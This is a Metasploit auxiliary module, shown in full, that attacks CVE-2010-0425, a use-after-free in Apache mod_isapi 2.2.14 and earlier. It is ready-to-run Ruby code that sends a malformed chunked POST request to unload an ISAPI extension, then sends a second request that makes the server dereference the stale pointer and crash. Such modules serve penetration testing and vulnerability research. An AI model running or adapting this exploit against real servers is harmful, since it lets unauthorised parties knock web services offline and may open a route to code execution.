Apache mod_isapi Dangling Pointer

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache mod_isapi Dangling Pointer',  
'Description' => %q{  
This module triggers a use-after-free vulnerability in the Apache  
Software Foundation mod_isapi extension for versions 2.2.14 and earlier.  
In order to reach the vulnerable code, the target server must have an  
ISAPI module installed and configured.  
  
By making a request that terminates abnormally (either an aborted TCP  
connection or an unsatisfied chunked request), mod_isapi will unload the  
ISAPI extension. Later, if another request comes for that ISAPI module,  
previously obtained pointers will be used resulting in an access  
violation or potentially arbitrary code execution.  
  
Although arbitrary code execution is theoretically possible, a  
real-world method of invoking this consequence has not been proven. In  
order to do so, one would need to find a situation where a particular  
ISAPI module loads at an image base address that can be re-allocated by  
a remote attacker.  
  
Limited success was encountered using two separate ISAPI modules. In  
this scenario, a second ISAPI module was loaded into the same memory  
area as the previously unloaded module.  
},  
'Author' =>  
[  
'Brett Gervasoni', # original discovery  
'jduck'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2010-0425' ],  
[ 'OSVDB', '62674'],  
[ 'BID', '38494' ],  
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=48509' ],  
[ 'URL', 'https://web.archive.org/web/20100715032229/http://www.gossamer-threads.com/lists/apache/cvs/381537' ],  
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],  
[ 'EDB', '11650' ]  
],  
'DisclosureDate' => '2010-03-05'))  
  
register_options([  
Opt::RPORT(80),  
OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])  
])  
end  
  
def run  
  
serverIP = datastore['RHOST']  
if (datastore['RPORT'].to_i != 80)  
serverIP += ":" + datastore['RPORT'].to_s  
end  
isapiURI = datastore['ISAPI']  
  
# Create a stale pointer using the vulnerability  
print_status("Causing the ISAPI dll to be loaded and unloaded...")  
unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +  
"Pragma: no-cache\r\n" +  
"Proxy-Connection: Keep-Alive\r\n" +  
"Host: " + serverIP + "\r\n" +  
"Transfer-Encoding: chunked\r\n" +  
"Content-Length: 40334\r\n\r\n" +  
Rex::Text.rand_text_alphanumeric(rand(128)+128)  
connect  
sock.put(unload_trigger)  
disconnect  
  
# Now make the stale pointer get used...  
print_status("Triggering the crash ...")  
data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)  
crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +  
"Host: " + serverIP + "\r\n" +  
"Content-Length: #{data.length}\r\n\r\n" +  
data  
  
connect  
sock.put(crash_trigger)  
disconnect  
  
end  
end  
`